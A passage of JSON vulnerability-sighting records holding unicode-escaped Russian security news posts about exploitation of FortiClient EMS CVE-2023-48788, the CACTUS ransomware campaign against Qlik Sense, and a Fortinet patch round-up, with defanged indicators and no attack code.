\u043e\u0448\u0438\u0431\u043a\u0443 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Fortinet FortiClient EMS \u0432\u0435\u0440\u0441\u0438\u0439 7.0.1\u20137.0.10 \u0438 7.2.0\u20137.2.2.\n\n\u041f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 \u041b\u041a, \u0430\u0442\u0430\u043a\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 Windows \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 \u0441\u0435\u0442\u0438 \u0438 \u0438\u043c\u0435\u043b \u0434\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u043e\u0440\u0442\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 FortiClient EMS.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-48788 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b ScreenConnect \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0445\u043e\u0441\u0442\u0443.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u043b\u0438 \u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u043a \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f AnyDesk.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438: webbrowserpassview.exe (\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438\u0437 Internet Explorer (\u0432\u0435\u0440\u0441\u0438\u0438 4.0\u201311.0), Mozilla Firefox (\u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438), Google Chrome, Safari \u0438 Opera), Mimikatz, netpass64.exe \u0438 netscan.exe, \u0430 \u0442\u0430\u043a\u0436\u0435 HRSword.exe (\u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u043a \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b).\n\n\u0412 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0438\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u042d\u0442\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u043b\u0438 \u0442\u043e\u0439 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0439.\n\n\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0432 \u0411\u0440\u0430\u0437\u0438\u043b\u0438\u0438, \u0425\u043e\u0440\u0432\u0430\u0442\u0438\u0438, \u0424\u0440\u0430\u043d\u0446\u0438\u0438, \u0418\u043d\u0434\u0438\u0438, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u0438, \u041c\u043e\u043d\u0433\u043e\u043b\u0438\u0438, \u041d\u0430\u043c\u0438\u0431\u0438\u0438, \u041f\u0435\u0440\u0443, \u0418\u0441\u043f\u0430\u043d\u0438\u0438, \u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u041e\u0410\u042d, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u044b ScreenConnect (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, infinity.screenconnect[.]com).\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043f\u0440\u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u044b 23 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c CVE-2023-48788 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u043e\u0433\u0434\u0430 \u0430\u043a\u0442\u043e\u0440\u044b \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 PowerShell, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u0434\u043e\u043c\u0435\u043d\u0435 webhook[.]site, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u0430\u0442\u0430\u043a - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-12-25T11:00:07.000000Z"}, {"uuid": "9e1df743-6cfe-4b2f-b587-3ecc56bfc070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/true_secator/5149", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Arctic Wolf \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043e \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f CACTUS \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Qlik Sense (\u043e\u0431\u043b\u0430\u0447\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430).\n\n\u041a\u0430\u043a \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b, \u0430\u0442\u0430\u043a\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b:\n- CVE-2023-41265\u00a0(CVSS: 9.9) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c;\n- CVE-2023-41266 (CVSS: 6.5) \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c;\n- CVE-2023-48365 (CVSS: 9.9) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c CVE-2023-48365 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00a0\u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430\u00a0\u0434\u043b\u044f CVE-2023-41265, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 CVE-2023-41266 \u0431\u044b\u043b\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0442 Praetorian \u0432\u00a0\u043a\u043e\u043d\u0446\u0435 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2023 \u0433\u043e\u0434\u0430. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2023-48365 \u0431\u044b\u043b\u043e\u00a0\u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e\u00a020 \u043d\u043e\u044f\u0431\u0440\u044f.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u044e\u0442 \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430 Qlik Sense \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 ManageEngine Unified Endpoint Management and Security (UEMS), AnyDesk \u0438 Plink \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u0434\u0430\u043b\u044f\u043b\u0438 \u041f\u041e Sophos, \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438 RDP-\u0442\u0443\u043d\u043d\u0435\u043b\u044c \u0447\u0435\u0440\u0435\u0437 Plink.\n\n\u041d\u0443, \u0438 \u0432 \u043a\u0443\u043b\u044c\u043c\u0438\u043d\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e, \u0433\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 rclone \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.", "creation_timestamp": "2023-11-30T17:55:24.000000Z"}, {"uuid": "2d29c08a-042e-4a59-91fc-3c6e75059ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48790", "type": "seen", "source": "https://t.me/true_secator/6837", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 18 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 FortiOS, FortiProxy, FortiPAM, FortiSRA, FortiAnalyzer, FortiManager, FortiAnalyzer-BigData, FortiSandbox, FortiNDR, FortiWeb, FortiSIEM \u0438 FortiADC.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f CVE-2023-48790 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c XSS \u0432 FortiNDR, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0412 FortiOS, FortiProxy, FortiPAM, FortiSRA \u0438 FortiWeb \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2024-45325, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f CVE-2023-40723 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 FortiSIEM \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 API-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\u00a0\n\n\u0412 FortiSandbox Fortinet\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-45328 (\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439), CVE-2024-52961 (\u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434) \u0438 CVE-2024-54027 (\u0447\u0442\u0435\u043d\u0438\u0435 